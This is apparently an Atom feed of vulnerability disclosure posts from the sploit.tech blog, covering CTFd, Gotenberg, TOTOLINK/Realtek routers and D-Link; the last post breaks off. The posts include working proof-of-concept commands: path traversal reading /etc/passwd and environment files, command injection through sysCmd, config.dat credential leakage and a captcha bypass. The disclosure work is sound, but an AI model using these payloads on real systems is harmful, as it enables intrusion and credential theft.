<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.3.4">Jekyll</generator><link href="http://localhost:4000/feed.xml" rel="self" type="application/atom+xml" /><link href="http://localhost:4000/" rel="alternate" type="text/html" /><updated>2024-12-24T12:18:35+01:00</updated><id>http://localhost:4000/feed.xml</id><title type="html">sploit.tech</title><subtitle>sploit.tech - security research team focused at finding juicy vulnerabilities here and there, feel free to join us! </subtitle><author><name>Blazej Adamczyk (br0x)</name></author><entry><title type="html">Multiple vulnerabilities in CTFd</title><link href="http://localhost:4000/2024/12/24/CTFd.html" rel="alternate" type="text/html" title="Multiple vulnerabilities in CTFd" /><published>2024-12-24T00:00:00+01:00</published><updated>2024-12-24T00:00:00+01:00</updated><id>http://localhost:4000/2024/12/24/CTFd</id><content type="html" xml:base="http://localhost:4000/2024/12/24/CTFd.html"><![CDATA[<h2 id="multiple-vulnerabilities-in-ctfd-version--374">Multiple vulnerabilities in CTFd version &lt;= 3.7.4</h2>

<p>Multiple vulnerabilities in CTFd versions &lt;= 3.7.4 allows a remote attacker who 
acquired user’s activation or password reset link (e.g. from browser history) to hijack 
victim’s account. Other vulnerability allows the user to pass access control and change 
an already set bracket.</p>

<p><em>Product name</em>: CTFd</p>

<p><em>Website</em>: <a href="https://ctfd.io">https://ctfd.io</a></p>

<p><em>Product description</em>: CTFd is a Capture The Flag framework focusing on ease of use and
customizability. It comes with everything you need to run a CTF and it’s easy
to customize with plugins and themes.
<br /><br /><br /><br /></p>
<hr />

<h2 id="vulnerability-1-user-can-change-the-bracket-without-administrator">[Vulnerability #1] User can change the bracket without administrator</h2>

<h3 id="cve">CVE</h3>

<p>CVE-2024-11716</p>

<h3 id="affected-versions">Affected versions</h3>

<p>CTFd (<a href="https://ctfd.io">https://ctfd.io</a>) versions &lt;= 3.7.4</p>

<h3 id="cvssv4">CVSSv4</h3>

<p>5.3 Medium (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)</p>

<h3 id="description">Description</h3>

<p>CTFd offers scoreboard bracket function where users can be assigned to a
bracket and are scoring is grouped by brackets. The function allows the user
to pick a bracket once at start. It seems the logic’s intention is to not
allow the user to change the bracket when it was already assigned:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>195  @pre_load
196  def validate_bracket_id(self, data):
197      bracket_id = data.get("bracket_id")
198      if bracket_id is None:
199          return
200  
201      current_user = get_current_user()
202      if is_admin():
203          bracket = Brackets.query.filter_by(id=bracket_id, type="users").first()
204          if bracket is None:
205              ValidationError(
206                  "Please provide a valid bracket id", field_names=["bracket_id"]
207              )
208      else:
209          if (
210              current_user.bracket_id == int(bracket_id)
211              or current_user.bracket_id is None
212          ):
213              bracket = Brackets.query.filter_by(id=bracket_id, type="users").first()
214              if bracket is None:
215                  ValidationError(
216                      "Please provide a valid bracket id", field_names=["bracket_id"]
217                  )
218          else:
219              raise ValidationError(
220                  "Please contact an admin to change your bracket",
221                  field_names=["bracket_id"],
222              )
</code></pre></div></div>

<p>Please note in lines 210-211 the code verifies if user has changed the
bracket_id and if so raises an error stating that only administrator can do
so.</p>

<p>This validation suggests the system treats this as a security control and
does not allow to switch brackets. Some setups/deployments might assume trust
to this function.</p>

<p>The user can however <strong>bypass the check</strong> by:</p>

<ol>
  <li>
    <p>First saving user details with bracket_id=null - GUI blocks this but API allows
according to line 198. E.g.</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl 'http://ctfd/api/v1/users/me' --H 'Content-Type: application/json' \
     -H 'Content-Type: application/json' -H "CSRF-Token: $CSRF" \
      --data-raw '{"name":"test","email":"t@t.pl","bracket_id":null,"fields":[]}'
</code></pre></div>    </div>
  </li>
  <li>
    <p>Second saving again with the proper changed bracket_id - this will be
allowed according to line 211. This can be done normally in GUI.</p>
  </li>
</ol>

<h3 id="poc-example">PoC example</h3>

<p>Some contests can use the scoreboard bracket system to group users into
different prize pools. Having the possibility to change the bracket might end
up with cheating and getting the prize.</p>

<h3 id="solution">Solution</h3>

<p>It should not be possible to change an already set bracket to null and this
should be verified in the API (backend) OR (if the security control is simply
wrong) there should be no ValidationError in order not to confuse CTFd
implementers.</p>

<p>Fixed in: <a href="https://github.com/CTFd/CTFd/pull/2636">https://github.com/CTFd/CTFd/pull/2636</a></p>

<p><br /><br /></p>
<hr />

<h2 id="vulnerability-2-multiple-vulnerabilities-in-token-handling">[Vulnerability #2] Multiple vulnerabilities in token handling</h2>

<h3 id="cve-1">CVE</h3>

<p>CVE-2024-11717</p>

<h3 id="affected-versions-1">Affected versions</h3>

<p>CTFd (<a href="https://ctfd.io">https://ctfd.io</a>) versions &lt;= 3.7.4</p>

<h3 id="cvssv4-1">CVSSv4</h3>

<p>6.3 Medium (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)</p>

<h3 id="description-1">Description</h3>

<h4 id="vulnerability-21-account-activation-and-password-reset-tokens-can-be-interchanged">[Vulnerability #2.1] Account activation and password reset tokens can be interchanged</h4>

<p>CTFd uses the “itsdangerous” python package for creating activation and
password reset tokens. In both cases it is done by signing user’s e-mail
address with timestamp with the system’s secret_key.</p>

<p>The generated token is directly used in URL sent to the user over e-mail.
During token validation, in both activation and password reset, the system
is checking if the HMAC signature is correct and if the token was not
created more than 1800s (30min) ago. Then the system verifies if the signed
value matches any user’s e-mail address. The matched user is being either
activated or setting new password is being permitted.</p>

<p>The tokens for both use cases have exactly the same construction and can be
used interchangeably. Particularly, activation token can be used in reset
password function which is pretty dangerous especially when the user
registers and the token was used in GET request what means it can be stored
in many places - browser’s history, proxy access logs, and so on. An
attacker gaining access to such token within the expiration time can use it
to gain control of the victim’s account.</p>

<p>Connected with the vulnerability #3 the impact is even more visible as the
token can be reused many times and cannot be revoked by the user until it
expires.</p>

<h4 id="vulnerability-22-account-activation-and-password-reset-tokens-are-not-single-use">[Vulnerability #2.2] Account activation and password reset tokens are not single-use</h4>

<p>The described above mechanism of token generation is stateless. This means
tokens are not single-use and can be used withing the expiration timeout
(30min) multiple times.</p>

<p>Tokens sent in URL can be stored in many places - e-mail, browser’s history,
proxy access logs and so on. An attacker gaining access to such token within
the expiration time can use it to gain control of the victim’s account.</p>

<h4 id="vulnerability-23-email-in-token-sent-in-get-requests">[Vulnerability #2.3] Email in token sent in GET requests</h4>

<p>The tokens for resetting password and activating account have base64 encoded
email address of the user in plain text. They are opened via GET requests
which means can be stored in many places and thus may leak user’s email
address.</p>

<h3 id="poc-example-1">PoC example</h3>

<p>High school and university students are encouraged to participate in a CTF.
They read this info on classes and are registering to the CTF using a
university/school computer (e.g. during classes).</p>

<p>The attack does not depend on email access:</p>

<ol>
  <li>Victim registers to CTF.</li>
  <li>Victim logs into e-mail account and clicks the link.</li>
  <li>Victim logs out of CTFd and e-mail account.</li>
  <li>Attacker looks up browser history, takes the token and base64 decodes
email address (vuln #4).</li>
  <li>Attacker within 30 minutes takes the activation token and reuses it to
reset victim’s password (vuln #2 and vuln #3).</li>
</ol>

<h3 id="solution-1">Solution</h3>

<p>To fix all 3 vulnerabilities it would be good to change the tokens to random
numbers (no email) stored in Redis cache and use keys distinguishing the
action type (activation vs reset password). After usage the token can be
removed from Redis thus making the tokens single-use.</p>

<p>Fixed in: <a href="https://github.com/CTFd/CTFd/pull/2679">https://github.com/CTFd/CTFd/pull/2679</a></p>

<p><br /><br /></p>
<hr />

<h2 id="timeline">Timeline</h2>

<ul>
  <li>09.10.2024 - Initial contact with vendor about encryption public key.</li>
  <li>12.10.2024 - Reported the issue over unencrypted e-mail (vendor is not
offering any encryption means of vulnerability reports at the moment - see
issue <a href="https://github.com/CTFd/CTFd/issues/2622">https://github.com/CTFd/CTFd/issues/2622</a>)</li>
  <li>14.10.2024 - Fixed CVE-2024-11716 in <a href="https://github.com/CTFd/CTFd/pull/2636">https://github.com/CTFd/CTFd/pull/2636</a></li>
  <li>12-15.10.2024 - Discussion of the reported issues over email.</li>
  <li>23.12.2024 - Fixed CVE-2024-11717 in <a href="https://github.com/CTFd/CTFd/pull/2679">https://github.com/CTFd/CTFd/pull/2679</a></li>
</ul>

<p><br /><br /></p>
<hr />

<h2 id="vendor-response">Vendor response</h2>

<p>Special thanks to Kevin Chung (ColdHeat) from CTFd for fast response and fixes.</p>

<p><br /><br /></p>
<hr />

<h2 id="references">References</h2>

<ul>
  <li><a href="https://sploit.tech/2024/12/24/CTFd.html">https://sploit.tech/2024/12/24/CTFd.html</a> - details</li>
  <li><a href="https://cert.pl/en/posts/2024/12/CVE-2024-11716">https://cert.pl/en/posts/2024/12/CVE-2024-11716</a> - Advisory</li>
  <li><a href="https://github.com/CTFd/CTFd">https://github.com/CTFd/CTFd</a> - CTFd github repository</li>
</ul>

<p><br /><br /></p>
<hr />

<h2 id="credits">Credits</h2>

<p>Author: Blazej Adamczyk (br0x) <a href="https://sploit.tech/">https://sploit.tech/</a></p>

<p>Team: Efigo <a href="https://efigo.pl/">https://efigo.pl/</a></p>]]></content><author><name>Blazej Adamczyk (br0x)</name></author><category term="CTF" /><category term="CTFd" /><category term="CVE-2024-11716" /><category term="CVE-2024-11717" /><summary type="html"><![CDATA[Multiple vulnerabilities in CTFd version &lt;= 3.7.4]]></summary></entry><entry><title type="html">Gotenberg - unauthenticated code exec</title><link href="http://localhost:4000/2020/12/29/Gotenberg.html" rel="alternate" type="text/html" title="Gotenberg - unauthenticated code exec" /><published>2020-12-29T00:00:00+01:00</published><updated>2020-12-29T00:00:00+01:00</updated><id>http://localhost:4000/2020/12/29/Gotenberg</id><content type="html" xml:base="http://localhost:4000/2020/12/29/Gotenberg.html"><![CDATA[<p>Multiple vulnerabilities in <strong>Gotenberg</strong> (a Docker-powered stateless API for converting HTML, Markdown and Office documents to PDF used as a microservice) <strong>version &lt;=6.2.0</strong> allow <span style="color:red"><strong>a remote unauthenticated attacker to execute any command</strong></span> within Docker container.</p>

<p>Taking the following CVEs together:  CVE-2020-13449, CVE-2020-13450, CVE-2020-13451, we’re getting a full attack leading to unauthenticated RCE.</p>

<p><strong>CVSSv3.1 chained score</strong>:  <span style="color:red"><strong>9.8</strong></span> (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A)</p>

<p><strong>Write-up</strong>: <a href="https://blazej-adamczyk.medium.com/0-day-bug-breaks-multi-million-dollar-system-38c9e31b27e9">write-up at medium.com</a></p>

<p><strong>Exploit code</strong>: <a href="https://github.com/br0xpl/gotenberg_hack">https://github.com/br0xpl/gotenberg_hack</a></p>

<p><strong>Video</strong>:</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/NAv8qovLtgI" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>
<p><br />
<br /></p>

<h4 id="note-this-is-just-a-summary-for-a-full-write-up-and-exploit-code-click-here"><strong>Note</strong>: This is just a summary, for a full write-up and exploit code <a href="https://blazej-adamczyk.medium.com/0-day-bug-breaks-multi-million-dollar-system-38c9e31b27e9">click here</a>.</h4>
<hr />

<h2 id="1-download-tirectory-traversal">1. Download tirectory traversal</h2>

<p>CVE: CVE-2020-13449</p>

<p>Vendor: <a href="https://www.thecodingmachine.com">https://www.thecodingmachine.com</a></p>

<p>Product: Gotenberg (<a href="https://github.com/thecodingmachine/gotenberg">https://github.com/thecodingmachine/gotenberg</a>)</p>

<p>Version: &lt;=6.2.1</p>

<p>Description: Directory traversal vulnerability in Markdown engine of
Gotenberg version 6.2.1 and lower allows unauthorized attacker to
read any container files.</p>

<p>PoC:</p>
<ol>
  <li>
    <p>Create index.html file:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;!doctype html&gt;
&lt;html lang="en"&gt;
  &lt;head&gt;
    &lt;meta charset="utf-8"&gt;
    &lt;title&gt;My PDF&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;pre style="white-space: pre-wrap;"&gt;
      Path:
      {{ .DirPath }}  
      PASSWD:
      {{ toHTML .DirPath "../../../../etc/passwd" }}
      IP:
      {{ toHTML .DirPath "../../../../proc/net/fib_trie" }}
      TCP:
      {{ toHTML .DirPath "../../../../proc/net/tcp" }}
      env:
      {{ toHTML .DirPath "../../../../proc/self/environ" }}
    &lt;/pre&gt;'
  &lt;/body&gt;
&lt;/html&gt;
</code></pre></div>    </div>
  </li>
  <li>
    <p>Call markdown endpoint:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="s1">'http://$URL_GOTENBERG/convert/markdown'</span> <span class="nt">--form</span> <span class="nv">files</span><span class="o">=</span>@index.html <span class="se">\</span>
<span class="nt">-o</span> result.pdf <span class="nt">--header</span> <span class="s1">'Content-Type: multipart/form-data'</span>
</code></pre></div>    </div>
  </li>
</ol>

<h2 id="2-upload-directory-traversal">2. Upload directory traversal</h2>

<p>CVE: CVE-2020-13450</p>

<p>Vendor: <a href="https://www.thecodingmachine.com">https://www.thecodingmachine.com</a></p>

<p>Product: Gotenberg (<a href="https://github.com/thecodingmachine/gotenberg">https://github.com/thecodingmachine/gotenberg</a>)</p>

<p>Version: &lt;=6.2.1</p>

<p>Description: Directory traversal vulnerability in file upload
function of Gotenberg version 6.2.1 and lower allows unauthorized
attacker to upload and overwrite any writeable files outside the
desired folder.</p>

<p>This can lead to DoS, change program behaviour or even to code
execution (see CVE-2020-13451).</p>

<p>PoC:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="s1">'http://$URL_GOTENBERG/convert/markdown'</span> <span class="nt">--form</span> <span class="nv">files</span><span class="o">=</span>@index.html <span class="se">\</span>
<span class="nt">--form</span> <span class="s2">"files=@tini;filename=../../../tini"</span> <span class="nt">-o</span> res.pdf<span class="se">\ </span>
<span class="nt">--header</span> <span class="s1">'Content-Type: multipart/form-data'</span>
</code></pre></div></div>

<h2 id="3-code-exec-using-incomplete-cleanup-vulnerability">3. Code exec using incomplete cleanup vulnerability</h2>

<p>CVE: CVE-2020-13451</p>

<p>Vendor: <a href="https://www.thecodingmachine.com">https://www.thecodingmachine.com</a></p>

<p>Product: Gotenberg (<a href="https://github.com/thecodingmachine/gotenberg">https://github.com/thecodingmachine/gotenberg</a>)</p>

<p>Version: &lt;=6.2.0</p>

<p>Description: Incomplete cleanup vulnerability in Office rendering
engine of Gotenberg version 6.2.1 and lower allows unauthorized
attacker (using a different vulnerability like CVE-2020-13450) to
overwrite libreoffice config (profile) files and execute arbitrary
code using macros.</p>

<p>Gotenberg creates libreoffice profile when office endpoint is
called in tmp choosing a folder with a name based on random
ephemeral port number chosen by kernel. What is most important
after finishing request the profile folder is not removed. Thus
using a file upload vulnerability like the one described in
CVE-2020-13450 an attacker can modify the profile preparing a macro
which is going to be executed next time the same random profile
will be reused.</p>

<p>Analyzing kernel sources, in default kernel config, there will be
about 7054 different ports choosen at random. The hack requires to
retry many times but works reliably.</p>

<p>Exploit code: https://github.com/br0xpl/gotenberg_hack</p>

<h2 id="4-insecure-permissions-of-main-executable">4. Insecure permissions of main executable</h2>

<p>CVE: CVE-2020-13452</p>

<p>Vendor: <a href="https://www.thecodingmachine.com">https://www.thecodingmachine.com</a></p>

<p>Product: Gotenberg (<a href="https://github.com/thecodingmachine/gotenberg">https://github.com/thecodingmachine/gotenberg</a>)</p>

<p>Version: &lt;=6.2.1</p>

<p>Description: Insecure permissions of /tini (writeable by user
gotenberg) file potentially allows an attacker to overwrite the
file what can lead to Deny of Service or even code execution.</p>

<hr />

<h2 id="timeline">Timeline</h2>
<ul>
  <li>25.05.2020 - Reported an issue on <a href="https://github.com/thecodingmachine/gotenberg/issues/199">Gotenberg github</a></li>
  <li>04.06.2020 - Author confirms the issues and works on a fix</li>
  <li>05.06.2020 - <a href="https://github.com/thecodingmachine/gotenberg/pull/208">Pull request</a> created.</li>
  <li>22.06.2020 - Fix merged to version 6.3.0</li>
</ul>

<hr />

<h2 id="credits">Credits</h2>

<table>
  <tbody>
    <tr>
      <td>Author: Blazej Adamczyk</td>
      <td><a href="https://sploit.tech/">https://sploit.tech/</a></td>
    </tr>
  </tbody>
</table>

<p>Team: Efigo <a href="https://efigo.pl/">https://efigo.pl/</a></p>]]></content><author><name>Blazej Adamczyk (br0x)</name></author><category term="Gotenberg" /><category term="PDF" /><category term="CVE-2020-13449" /><category term="CVE-2020-13450" /><category term="CVE-2020-13451" /><category term="CVE-2020-13452" /><summary type="html"><![CDATA[Multiple vulnerabilities in Gotenberg (a Docker-powered stateless API for converting HTML, Markdown and Office documents to PDF used as a microservice) version &lt;=6.2.0 allow a remote unauthenticated attacker to execute any command within Docker container.]]></summary></entry><entry><title type="html">TOTOLINK and other Realtek SDK based routers - full takeover</title><link href="http://localhost:4000/2019/12/16/Realtek-TOTOLINK.html" rel="alternate" type="text/html" title="TOTOLINK and other Realtek SDK based routers - full takeover" /><published>2019-12-16T00:00:00+01:00</published><updated>2019-12-16T00:00:00+01:00</updated><id>http://localhost:4000/2019/12/16/Realtek-TOTOLINK</id><content type="html" xml:base="http://localhost:4000/2019/12/16/Realtek-TOTOLINK.html"><![CDATA[<p>I have found multiple vulnerabilities in several series of Realtek SDK based routers (among them many TOTOLINK models but there are also multiple other vendors affected).  Considering TOTOLINK all four vulnerabilities taken together allow to take a full control over te router including code execution. 
<br /></p>

<p>Exploiting all the vulnerabilities together allows a remote
unauthenticated attacker to execute any code with root permissions
and reveal administration password. 
<br />
<br />
<strong>CVSS v3 socre</strong>: <strong><span style="color:red">9.6</span></strong> AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 
<br />(assuming Administrative Access on WAN is enabled the score is <strong><span style="color:red">10.0</span></strong>)</p>

<p><strong>Video</strong>:</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/6PtbTvagcD4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>

<p><br />
<strong>Impact</strong>: Quick statistical analysis (using indexing engines) showed
that there are 700 000 devices which are using Boa in the mentioned
version. A test on a large sample (70 000+) revealed that in the
sample 10% are vulnerable devices. This means that statistically
there are around <strong><span style="color:red">70 000</span> vulnerable devices accessible from the Internet</strong>.</p>

<p><strong>Exploit</strong>: As there are so many vulnerable devices I’m publishing the exploit code in order to draw more attention to the potential impact <a href="/files/CVE-2019-19822-19825-exploit.sh" style="color:red">here</a>. 
<br />
I kindly ask to spread information about the threat to make the users aware of the problem.</p>

<p><strong>Temporary workaround</strong>: Unfortunately I did not get any good information from
real vendors like TOTOLINK and for now I would suggest to disable
administration interface from WAN and restricting LAN router
administration interface access using some kind of firewall if
possible.</p>

<p><strong>Limitations</strong>:
The only thing that is needed is the access to router administration interface (either access to local network or Administrative Access on WAN enabled).</p>

<hr />

<h1 id="1-sensitive-data-disclosure-and-incorrect-access-control-in-several-series-of-realtek-sdk-based-routers">1. Sensitive data disclosure and incorrect access control in several series of Realtek SDK based routers</h1>
<p><strong>CVE</strong>: CVE-2019-19822</p>

<p><strong>SDK vendor</strong>: Realtek</p>

<p><strong>Device vendor</strong>: TOTOLINK, Sapido, CIK Telecom, Fibergate Inc.,
MAX-C300N, T-BROAD and possibly others..</p>

<p><strong>Product</strong>: Realtek SDK based routers backed by Boa HTTP server (and
possibly others) and using apmib library for memory management.</p>

<p><strong>Boa Version</strong>: &lt;= Boa/0.94.14rc21
<strong>SDK Version</strong>: &lt;  2020/02/15</p>

<p><strong>Description</strong>:
Realtek SDK based routers which use form based instead HTTP Basic
authentication (that includes Realtek APMIB 0.11f and Boa HTTP
server 0.94.14rc21) allows remote attackers to retrieve the
configuration, including sensitive data (usernames and passwords).</p>

<p>This affects:</p>
<ul>
  <li>TOTOLINK A3002RU through 2.0.0,</li>
  <li>TOTOLINK 702R through 2.1.3,</li>
  <li>TOTOLINK N301RT through 2.1.6,</li>
  <li>TOTOLINK N302R through 3.4.0,</li>
  <li>TOTOLINK N300RT through 3.4.0,</li>
  <li>TOTOLINK N200RE through 4.0.0,</li>
  <li>TOTOLINK N150RT through 3.4.0, and</li>
  <li>TOTOLINK N100RE through 3.4.0;</li>
  <li>Rutek RTK 11N AP through 2019-12-12;</li>
  <li>Sapido GR297n through 2019-12-12;</li>
  <li>CIK TELECOM MESH ROUTER through 2019-12-12;</li>
  <li>KCTVJEJU Wireless AP through 2019-12-12;</li>
  <li>Fibergate FGN-R2 through 2019-12-12;</li>
  <li>Hi-Wifi MAX-C300N through 2019-12-12;</li>
  <li>HCN MAX-C300N through 2019-12-12;</li>
  <li>T-broad GN-866ac through 2019-12-12;</li>
  <li>Coship EMTA AP through 2019-12-12; and</li>
  <li>IO-Data WN-AC1167R through 2019-12-12; and</li>
  <li>possibly others.</li>
</ul>

<p><strong>Technical details</strong>: The apmib library at some point of
initialization dumps the whole memory contents the file
/web/config.dat. This folder is actually used by the boa http
server as index directory. Additionally if the router is configured
for form-based authentication the access control verifies
credentials only for some URLs but “.dat” files are not restricted.
This issue does not affect routers which use HTTP Basic
authentication to secure all URLs.</p>

<p><strong>PoC</strong>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://routerip/config.dat
</code></pre></div></div>

<p><br /></p>
<hr />

<h1 id="2-passwords-stored-in-plaintext">2. Passwords stored in plaintext</h1>
<p><strong>CVE</strong>: CVE-2019-19823</p>

<p><strong>SDK vendor</strong>: Realtek</p>

<p><strong>Device vendor</strong>: TOTOLINK, Sapido, CIK Telecom, Fibergate Inc.,
MAX-C300N, T-BROAD and possibly others..</p>

<p><strong>Product</strong>: Realtek SDK based routers backed by Boa HTTP server (and
possibly others) and using apmib library for memory management.</p>

<p><strong>Boa Version</strong>: &lt;= Boa/0.94.14rc21
<strong>SDK Version</strong>: &lt;  2020/02/15</p>

<p><strong>Description</strong>: Realtek SDK based routers (that includes Realtek APMIB
0.11f and Boa HTTP server 0.94.14rc21) store passwords in
plaintext.</p>

<p>This affects:</p>
<ul>
  <li>TOTOLINK A3002RU through 2.0.0,</li>
  <li>TOTOLINK 702R through 2.1.3,</li>
  <li>TOTOLINK N301RT through 2.1.6,</li>
  <li>TOTOLINK N302R through 3.4.0,</li>
  <li>TOTOLINK N300RT through 3.4.0,</li>
  <li>TOTOLINK N200RE through 4.0.0,</li>
  <li>TOTOLINK N150RT through 3.4.0, and</li>
  <li>TOTOLINK N100RE through 3.4.0;</li>
  <li>Rutek RTK 11N AP through 2019-12-12;</li>
  <li>Sapido GR297n through 2019-12-12;</li>
  <li>CIK TELECOM MESH ROUTER through 2019-12-12;</li>
  <li>KCTVJEJU Wireless AP through 2019-12-12;</li>
  <li>Fibergate FGN-R2 through 2019-12-12;</li>
  <li>Hi-Wifi MAX-C300N through 2019-12-12;</li>
  <li>HCN MAX-C300N through 2019-12-12;</li>
  <li>T-broad GN-866ac through 2019-12-12;</li>
  <li>Coship EMTA AP through 2019-12-12; and</li>
  <li>IO-Data WN-AC1167R through 2019-12-12; and</li>
  <li>possibly others.</li>
</ul>

<p><strong>Technical details</strong>: Data stored in memory in COMPCS (apmib library)
format contains device administration and other passwords in
plaintext. The apmib library additionally at some point of
initialization dumps the whole memory contents the file
/web/config.dat which might be used to easily retrieve user
passwords.</p>

<p><br /></p>
<hr />

<h1 id="3-code-execution-in-several-totolink-routers">3. Code execution in several (TOTOLINK routers)</h1>
<p><strong>CVE</strong>: CVE-2019-19824</p>

<p><strong>Vendor</strong>: TOTOLINK</p>

<p><strong>Product</strong>: TOTOLINK Realtek SDK based routers</p>

<p><strong>Boa Version</strong>: &lt;= Boa/0.94.14rc21</p>

<p><strong>Description</strong>: On several Realted SDK based TOTOLINK routers, an authenticated
attacker may execute arbitrary OS commands via the sysCmd parameter
to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not
available. This allows for full control over the device’s
internals.</p>

<p>This affects:</p>
<ul>
  <li>A3002RU through 2.0.0,</li>
  <li>A702R through 2.1.3,</li>
  <li>N301RT through 2.1.6,</li>
  <li>N302R through 3.4.0,</li>
  <li>N300RT through 3.4.0,</li>
  <li>N200RE through 4.0.0,</li>
  <li>N150RT through 3.4.0,</li>
  <li>N100RE through 3.4.0, and</li>
  <li>possibly others.</li>
</ul>

<p><strong>PoC</strong>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="s1">'http://target/boafrm/formSysCmd'</span> <span class="nt">--user</span> <span class="s2">"admin:password"</span> 
  <span class="nt">--data</span> <span class="s1">'submit-url=%2Fsyscmd.htm&amp;sysCmdselect=5&amp;sysCmdselects=0&amp;
  save_apply=Run+Command&amp;sysCmd=cp%20%2Fetc%2Fpasswd%20%2Fweb%2Fxxxx.dat'</span>
</code></pre></div></div>

<p><br /></p>
<hr />

<h1 id="4-incorrectly-implemented-captcha-protection-totolink-routers">4. Incorrectly implemented captcha protection (TOTOLINK routers)</h1>
<p><strong>CVE</strong>: CVE-2019-19825</p>

<p><strong>Vendor</strong>: TOTOLINK</p>

<p><strong>Product</strong>: TOTOLINK Realtek SDK based routers</p>

<p><strong>Boa Version</strong>: &lt;= Boa/0.94.14rc21</p>

<p><strong>Description</strong>: Guessable captcha vulnerability (CWE-804) in several
series of TOTOLINK routers allows a remote attacker to
automatically login to the router without reading and providing
real captcha.</p>

<p>The following command returns captcha in plain text:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="s1">'http://target/boafrm/formLogin'</span> <span class="nt">--data</span> <span class="s1">'{"topicurl":"setting/getSanvas"}'</span>
</code></pre></div></div>

<p>Additionally by using the HTTP Basic in a HEADER the attacker can
execute router actions without providing captcha at all.</p>

<p>This affects:</p>
<ul>
  <li>A3002RU through 2.0.0,</li>
  <li>A702R through 2.1.3,</li>
  <li>N301RT through 2.1.6,</li>
  <li>N302R through 3.4.0,</li>
  <li>N300RT through 3.4.0,</li>
  <li>N200RE through 4.0.0,</li>
  <li>N150RT through 3.4.0,</li>
  <li>N100RE through 3.4.0, and</li>
  <li>possibly others.</li>
</ul>

<p><br /></p>
<hr />

<h1 id="timeline">Timeline</h1>

<ul>
  <li>17.12.2019 - Contacted all identified vendors, i.e. TOTOLINK, CIK
Telecom, Sapido, Fibergate and Coship.</li>
  <li>18.12.2019 - received TOTOLINK first line support response
totally not related to my message and showing me how to log into
my router. I responded right away and asked to forward the
message to technical/security team.</li>
  <li>19.12.2019 - received response from CIK Telecom stating that the
routers support encryption (SIC!). I replied asking to forward
the message to technical/security team.</li>
  <li>19.12.20219 - CIK Telecom responded that for further assistance I
should contact them over the phone. I replied that I need to
explain the details as a written message as this is technical.</li>
  <li>27.12.2019, 06.01.2020 - I resent the messages to TOTOLINK and
CIK Telecom but none have replied till the date of disclosure.</li>
  <li>06.01.2020 - I finally contacted Realtek as the Supplier of the
SDK.</li>
  <li>10.01.2020 - I got a response and I replied with encrypted
details on the bugs.</li>
  <li>14-15.01.2020 - Realtek replied that the issue with dumping
configuration by apmib exists but it is not directly exploitable
in the defualt SDK configuration becuase it uses HTTP Basic
authentication which protects all URLs. They agreed however that
most of the Vendors modify the software including authentication
mechanism thus making it vulnerable.</li>
  <li>23.01.2020 - Realtek responded that they are goining to fix the
issue with dumping configuration to the config.dat file in version
released on 15.02.2020. They also said that after fixing the issue
the impact of storing password in plaintext is less significant
thus they will not fix the CVE-2019-19823 yet but will try to fix
it in the future.</li>
</ul>

<p><strong>Credit</strong>: Blazej Adamczyk (br0x)</p>]]></content><author><name>Blazej Adamczyk (br0x)</name></author><category term="CVE" /><category term="TOTOLINK" /><category term="Realtek" /><category term="SDK" /><category term="router" /><category term="CVE-2019-19822" /><category term="CVE-2019-19823" /><category term="CVE-2019-19824" /><category term="CVE-2019-19825" /><summary type="html"><![CDATA[I have found multiple vulnerabilities in several series of Realtek SDK based routers (among them many TOTOLINK models but there are also multiple other vendors affected). Considering TOTOLINK all four vulnerabilities taken together allow to take a full control over te router including code execution.]]></summary></entry><entry><title type="html">D-Link routers - full takeover</title><link href="http://localhost:4000/2018/10/12/D-Link.html" rel="alternate" type="text/html" title="D-Link routers - full takeover" /><published>2018-10-12T00:00:00+02:00</published><updated>2018-10-12T00:00:00+02:00</updated><id>http://localhost:4000/2018/10/12/D-Link</id><content type="html" xml:base="http://localhost:4000/2018/10/12/D-Link.html"><![CDATA[<p>I have found multiple vulnerabilities in D-Link router httpd server. These vulnerabilities are present in multiple D-Link types of routers. All three taken together allow to take a full control over te router including code execution.</p>
<hr />

<h1 id="1-directory-traversal">1. Directory Traversal</h1>
<p><strong>CVE</strong>: CVE-2018-10822</p>

<p><strong>CVSS v3</strong>: 8.6<br />
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N<br /></p>

<p><strong>Description</strong>:
Directory traversal vulnerability in the web interface on D-Link routers:</p>

<ul>
  <li>DWR-116 through 1.06,</li>
  <li>DIR-140L through 1.02,</li>
  <li>DIR-640L through 1.02,</li>
  <li>DWR-512 through 2.02,</li>
  <li>DWR-712 through 2.02,</li>
  <li>DWR-912 through 2.02,</li>
  <li>DWR-921 through 2.02,</li>
  <li>DWR-111 through 1.01,</li>
  <li>and probably others with the same type of firmware</li>
</ul>

<p>allows remote attackers to read arbitrary files via a /.. or // after “GET /uir” in an HTTP request.</p>

<p>NOTE: this vulnerability exists because of an incorrect fix for CVE-2017-6190.</p>

<p>PoC:</p>
